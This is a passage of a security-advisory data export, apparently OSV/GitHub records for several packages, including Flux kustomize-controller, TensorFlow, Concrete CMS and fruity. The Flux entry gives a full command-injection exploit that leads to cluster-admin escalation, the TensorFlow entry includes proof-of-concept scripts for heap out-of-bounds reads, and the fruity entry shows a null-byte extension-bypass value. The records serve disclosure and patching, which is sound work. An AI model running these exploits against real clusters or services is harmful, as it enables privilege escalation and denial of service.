* Contact the core team on [Slack](http://slack.solidus.io/)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'solidus_core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.12'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'solidus_core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.0.0'}, {'fixed': '3.0.3'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'solidus_core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.1.0'}, {'fixed': '3.1.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g'}, {'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2'}, {'type': 'PACKAGE', 'url': 'https://github.com/solidusio/solidus'}]
|
{'cwe_ids': ['CWE-305', 'CWE-352'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T21:07:30Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-q2cv-94xm-qvg4
|
2021-11-17T21:12:31Z
|
2021-11-15T23:18:00Z
| null |
['CVE-2021-3921']
|
firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)
|
firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'grumpydictator/firefly-iii'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.6.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3921'}, {'type': 'WEB', 'url': 'https://github.com/firefly-iii/firefly-iii/commit/47fa9e39561a9ec9e210e4023d090a7b33381684'}, {'type': 'PACKAGE', 'url': 'https://github.com/firefly-iii/firefly-iii'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/724d3fd5-9f04-45c4-98d6-35a7d15468f5'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T21:06:10Z', 'nvd_published_at': '2021-11-13T09:15:00Z'}
|
1.4.0
|
GHSA-3v56-q6r6-4gcw
|
2021-11-08T21:04:44Z
|
2021-11-10T16:41:08Z
| null |
['CVE-2021-41170']
|
Insecure Inherited Permissions in neoan3-apps/template
|
### Impact
Versions prior 1.1.1 have allowed for passing in closures directly into the template engine. As a result values that are callable are executed by the template engine. The issue arises if a value has the same name as a method or function in scope and can therefore be executed either by mistake or maliciously.
In theory all users of the package are affected as long as they either deal with direct user input or database values. A multi-step attack on is therefore plausible.
### Patches
Version 1.1.1 has addressed this vulnerability.
```php
$params = [
'reverse' => fn($input) => strrev($input), // <-- no longer possible with version ~1.1.1
'value' => 'My website'
]
TemplateFunctions::registerClosure('reverse', fn($input) => strrev($input)); // <-- still possible (and nicely isolated)
Template::embrace('<h1>{{reverse(value)}}</h1>', $params);
```
### Workarounds
Unfortunately only working with hardcoded values is safe in prior versions. As this likely defeats the purpose of a template engine, please upgrade.
### References
As a possible exploit is relatively easy to achieve, I will not share steps to reproduce the issue for now.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our repo](https://github.com/sroehrl/neoan3-template)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'neoan3-apps/template'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/sroehrl/neoan3-template/security/advisories/GHSA-3v56-q6r6-4gcw'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41170'}, {'type': 'WEB', 'url': 'https://github.com/sroehrl/neoan3-template/issues/8'}, {'type': 'WEB', 'url': 'https://github.com/sroehrl/neoan3-template/commit/4a2c9570f071d3c8f4ac790007599cba20e16934'}, {'type': 'PACKAGE', 'url': 'https://github.com/sroehrl/neoan3-template'}]
|
{'cwe_ids': ['CWE-277', 'CWE-732', 'CWE-74'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:04:44Z', 'nvd_published_at': '2021-11-08T19:15:00Z'}
|
1.4.0
|
GHSA-35rf-v2jv-gfg7
|
2021-11-12T18:57:27Z
|
2021-11-15T17:35:33Z
| null |
['CVE-2021-41254']
|
Privilege escalation to cluster admin on multi-tenant environments
|
Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
### Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
### Exploit
To exploit the command injection, first we create a secret with a shell command:
```sh
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
```
Then we create a Service Account that refers to the above Secret:
```yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
```
And finally a Kustomization that runs under the above Service Account:
```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
```
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
### Patches
This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.
### Workarounds
To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-sa
spec:
validationFailureAction: enforce
background: false
rules:
- name: validate-sa
match:
resources:
kinds:
- ServiceAccount
namespaces:
- tenant1
- tenant2
subjects:
- kind: User
name: some@tenant1.com
- kind: User
name: some@tenant2.com
- kind: ServiceAccount
name: kustomize-controller
namespace: flux-system
- kind: ServiceAccount
name: helm-controller
namespace: flux-system
validate:
message: "Invalid service account"
pattern:
X(secrets): "*?"
```
### References
Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/fluxcd/kustomize-controller'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.15.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41254'}, {'type': 'PACKAGE', 'url': 'https://github.com/fluxcd/kustomize-controller'}]
|
{'cwe_ids': ['CWE-78'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-12T18:57:27Z', 'nvd_published_at': '2021-11-12T18:15:00Z'}
|
1.4.0
|
GHSA-3w5h-x4rh-hc28
|
2021-11-22T18:38:38Z
|
2021-11-23T18:18:25Z
| null |
['CVE-2021-39231']
|
Exposure of sensitive information in Apache Ozone
|
In Apache Ozone versions prior to 1.2.0, Various internal server-to-server RPC endpoints are available for connections, making it possible for an attacker to download raw data from Datanode and Ozone manager and modify Ratis replication configuration.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-39231'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3C110cd117-75ed-364b-cd38-3effd20f2183%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/2'}]
|
{'cwe_ids': ['CWE-668'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:38:38Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-v935-pqmr-g8v9
|
2021-11-03T15:02:32Z
|
2021-11-03T17:36:04Z
| null |
[]
|
Unexpected panics in num-bigint
|
### Impact
Two scenarios were reported where `BigInt` and `BigUint` multiplication may unexpectedly panic.
- The internal `mac3` function did not expect the possibility of non-empty all-zero inputs, leading to an `unwrap()` panic.
- A buffer was allocated with less capacity than needed for an intermediate result, leading to an assertion panic.
Rust panics can either cause stack unwinding or program abort, depending on the application configuration. In some settings, an unexpected panic may constitute a denial-of-service vulnerability.
### Patches
Both problems were introduced in version 0.4.1, and are fixed in version 0.4.3.
### For more information
If you have any questions or comments about this advisory, please open an issue in the [num-bigint](https://github.com/rust-num/num-bigint) repo.
### Acknowledgements
Thanks to Guido Vranken and Arvid Norberg for privately reporting these issues to the author.
### References
* [GHSA-v935-pqmr-g8v9](https://github.com/rust-num/num-bigint/security/advisories/GHSA-v935-pqmr-g8v9)
* [num-bigint#228](https://github.com/rust-num/num-bigint/pull/228)
|
[]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'num-bigint'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.4.1'}, {'fixed': '0.4.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/rust-num/num-bigint/security/advisories/GHSA-v935-pqmr-g8v9'}, {'type': 'WEB', 'url': 'https://github.com/rust-num/num-bigint/pull/228'}, {'type': 'PACKAGE', 'url': 'https://github.com/rust-num/num-bigint'}]
|
{'cwe_ids': ['CWE-131', 'CWE-20'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T15:02:32Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-49rx-x2rw-pc6f
|
2021-11-08T22:43:35Z
|
2021-11-10T19:04:25Z
| null |
['CVE-2021-41205']
|
Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
|
### Impact
The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=[1.0,1.0],
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
axis=-100)
return data
test()
```
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
```
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV3(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
narrow_range=False,
axis=-100)
return data
test()
```
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV2(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
```
In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:
```cc
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}
```
### Patches
We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41205'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:43:35Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-g3p2-hfqr-9m25
|
2023-06-30T20:31:40Z
|
2021-11-23T17:54:26Z
| null |
['CVE-2021-22968']
|
Improper file handling in concrete5/core
|
A bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concrete5) versions 8.5.6 and below. The external file upload feature stages files in the public directory even if they have disallowed file extensions. They are stored in a directory with a random name, but it's possible to stall the uploads and brute force the directory name. You have to be an admin with the ability to upload files, but this bug gives you the ability to upload restricted file types and execute them depending on server configuration. To fix this, a check for allowed file extensions was added before downloading files to a tmp directory
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'concrete5/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.5.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-22968'}, {'type': 'WEB', 'url': 'https://hackerone.com/reports/1350444'}, {'type': 'WEB', 'url': 'https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes'}, {'type': 'PACKAGE', 'url': 'https://github.com/olsgreen/concrete5-core'}]
|
{'cwe_ids': ['CWE-330', 'CWE-98'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:41:50Z', 'nvd_published_at': '2021-11-19T19:15:00Z'}
|
1.4.0
|
GHSA-vcqg-3p29-xw73
|
2023-01-24T18:07:16Z
|
2021-11-03T18:04:41Z
| null |
['CVE-2020-5310']
|
Integer overflow in Pillow
|
libImaging/TiffDecode.c in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'Pillow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.2.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2020-5310'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/commit/4e2def2539ec13e53a82e06c4b3daf00454100c4'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-81.yaml'}, {'type': 'PACKAGE', 'url': 'https://github.com/python-pillow/Pillow'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P/'}, {'type': 'WEB', 'url': 'https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html'}, {'type': 'WEB', 'url': 'https://usn.ubuntu.com/4272-1/'}]
|
{'cwe_ids': ['CWE-190'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T17:23:34Z', 'nvd_published_at': '2020-01-03T01:15:00Z'}
|
1.4.0
|
GHSA-26xx-m4q2-xhq8
|
2023-05-04T19:59:52Z
|
2021-11-18T20:14:19Z
| null |
['CVE-2021-41275']
|
Authentication Bypass by CSRF Weakness
|
### Impact
CSRF vulnerability that allows user account takeover.
All applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:
* Executed whether as:
* A before_action callback (the default)
* A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).
* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).
That means that applications that haven't been configured differently from what it's generated with Rails aren't affected.
Thanks @waiting-for-dev for reporting and providing a patch 👏
### Patches
Spree 4.3 users should update to spree_auth_devise 4.4.1
Spree 4.2 users should update to spree_auth_devise 4.2.1
Spree 4.1 users should update to spree_auth_devise 4.1.1
Older Spree version users should update to spree_auth_devise 4.0.1
### Workarounds
If possible, change your strategy to :exception:
```ruby
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
```
Add the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:
```ruby
config.after_initialize do
Spree::UsersController.protect_from_forgery with: :exception
end
```
### References
https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'spree_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.3.0'}, {'fixed': '4.4.1'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'spree_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2.0'}, {'fixed': '4.2.1'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'spree_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.1.0'}, {'fixed': '4.1.1'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'spree_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.0.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2'}, {'type': 'WEB', 'url': 'https://github.com/spree/spree_auth_devise/security/advisories/GHSA-26xx-m4q2-xhq8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41275'}, {'type': 'WEB', 'url': 'https://github.com/spree/spree_auth_devise/commit/adf6ed4cd94d66091776b5febd4ff3767362de63'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_auth_devise/CVE-2021-41275.yml'}, {'type': 'PACKAGE', 'url': 'https://github.com/spree/spree_auth_devise'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T21:07:45Z', 'nvd_published_at': '2021-11-17T20:15:00Z'}
|
1.4.0
|
GHSA-xx4c-jj58-r7x6
|
2022-07-12T00:11:53Z
|
2021-11-19T20:14:23Z
| null |
[]
|
Inefficient Regular Expression Complexity in Validator.js
|
### Impact
Versions of `validator` prior to 13.7.0 are affected by an inefficient Regular Expression complexity when using the `rtrim` and `trim` sanitizers.
### Patches
The problem has been patched in validator 13.7.0
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'validator'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.1.0'}, {'fixed': '13.7.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/validatorjs/validator.js/security/advisories/GHSA-xx4c-jj58-r7x6'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3765'}, {'type': 'WEB', 'url': 'https://github.com/validatorjs/validator.js/issues/1599'}, {'type': 'WEB', 'url': 'https://github.com/validatorjs/validator.js/pull/1738'}, {'type': 'PACKAGE', 'url': 'https://github.com/validatorjs/validator.js'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/c37e975c-21a3-4c5f-9b57-04d63b28cfc9/'}]
|
{'cwe_ids': ['CWE-1333'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:27:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h352-g5vw-3926
|
2023-06-13T17:27:02Z
|
2021-11-16T17:26:47Z
| null |
['CVE-2021-43620']
|
Improper Input Validation in fruity
|
Methods of NSString for conversion to a string may return a partial result. Since they call CStr::from_ptr on a pointer to the string buffer, the string is terminated at the first null byte, which might not be the end of the string.
In addition to the vulnerable functions listed for this issue, the implementations of Display, PartialEq, PartialOrd, and ToString for NSString are also affected, since they call those functions.
Since NSString is commonly used as the type for paths by the Foundation framework, null byte truncation might allow for easily bypassing file extension checks. For example, if a file name is provided by a user and validated to have one of a specific set of extensions, with validation taking place before truncation, an attacker can add an accepted extension after a null byte (e.g., file.exe\0.txt). After truncation, the file name used by the application would be file.exe.
It would be better to generate unique names for files, instead of using user-provided names, but not all applications take this approach.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'fruity'}, 'ecosystem_specific': {'affected_functions': ['fruity::foundation::NSString::to_str', 'fruity::foundation::NSString::to_str_with_nul', 'fruity::foundation::NSString::to_string', 'fruity::foundation::NSString::to_string_with_nul']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.1.0'}, {'fixed': '0.3.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43620'}, {'type': 'WEB', 'url': 'https://github.com/nvzqz/fruity/issues/14'}, {'type': 'WEB', 'url': 'https://github.com/rustsec/advisory-db/pull/1102'}, {'type': 'PACKAGE', 'url': 'https://github.com/nvzqz/fruity'}, {'type': 'WEB', 'url': 'https://rustsec.org/advisories/RUSTSEC-2021-0123.html'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-16T15:32:42Z', 'nvd_published_at': '2021-11-15T05:15:00Z'}
|
1.4.0
|
GHSA-g9wh-3vrx-r7hg
|
2021-11-10T18:19:37Z
|
2021-11-10T20:39:23Z
| null |
['CVE-2021-3912']
|
OctoRPKI crashes when processing GZIP bomb returned via malicious repository
|
OctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash).
## Patches
## For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/cloudflare/cfrpki'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-g9wh-3vrx-r7hg'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3912'}, {'type': 'WEB', 'url': 'https://github.com/cloudflare/cfrpki/commit/648658b1b176a747b52645989cfddc73a81eacad'}, {'type': 'WEB', 'url': 'https://pkg.go.dev/vuln/GO-2022-0253'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2022/dsa-5041'}, {'type': 'PACKAGE', 'url': 'github.com/cloudflare/cfrpki'}]
|
{'cwe_ids': ['CWE-400', 'CWE-770'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-10T18:19:37Z', 'nvd_published_at': '2021-11-11T22:15:00Z'}
|
1.4.0
|
GHSA-hwhf-64mh-r662
|
2021-11-04T17:05:51Z
|
2021-11-01T19:16:31Z
| null |
['CVE-2021-41186']
|
ReDoS vulnerability in parser_apache2
|
### Impact
parser_apache2 plugin in Fluentd v0.14.14 to v1.14.1 suffers from a regular expression denial of service (ReDoS) vulnerability. A broken apache log with a certain pattern of string can spend too much time in a regular expression, resulting in the potential for a DoS attack.
### Patches
v1.14.2
### Workarounds
Either of the following:
* Don't use parser_apache2 for parsing logs which cannot guarantee generated by Apache.
* Put patched version of parser_apache2.rb into /etc/fluent/plugin directory (or any other directories specified by the environment variable `FLUENT_PLUGIN` or `--plugin` option of fluentd).
### References
* [CVE-2021-41186](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41186)
* [GHSA-hwhf-64mh-r662](https://github.com/fluent/fluentd/security/advisories/GHSA-hwhf-64mh-r662)
* [GHSL-2021-102](https://securitylab.github.com/advisories/GHSL-2021-102-fluent-fluentd/)
* https://github.com/fluent/fluentd/blob/master/CHANGELOG.md#v1142
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'fluentd'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.14.14'}, {'fixed': '1.14.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/fluent/fluentd/security/advisories/GHSA-hwhf-64mh-r662'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41186'}, {'type': 'WEB', 'url': 'https://github.com/fluent/fluentd/commit/5482a3d049dab351de0be68f4b4bc562319d8511'}, {'type': 'PACKAGE', 'url': 'https://github.com/fluent/fluentd'}, {'type': 'WEB', 'url': 'https://github.com/fluent/fluentd/blob/master/CHANGELOG.md#v1142'}, {'type': 'WEB', 'url': 'https://github.com/github/securitylab-vulnerabilities/blob/52dc4a2a828c6dc24231967c2937ad92038184a9/vendor_reports/GHSL-2021-102-fluent-fluentd.md'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/fluentd/CVE-2021-41186.yml'}]
|
{'cwe_ids': ['CWE-400'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-10-29T13:44:13Z', 'nvd_published_at': '2021-10-29T14:15:00Z'}
|
1.4.0
|
GHSA-fr77-rrx3-cp7g
|
2021-11-08T22:31:43Z
|
2021-11-10T19:00:31Z
| null |
['CVE-2021-41212']
|
Heap OOB read in `tf.ragged.cross`
|
### Impact
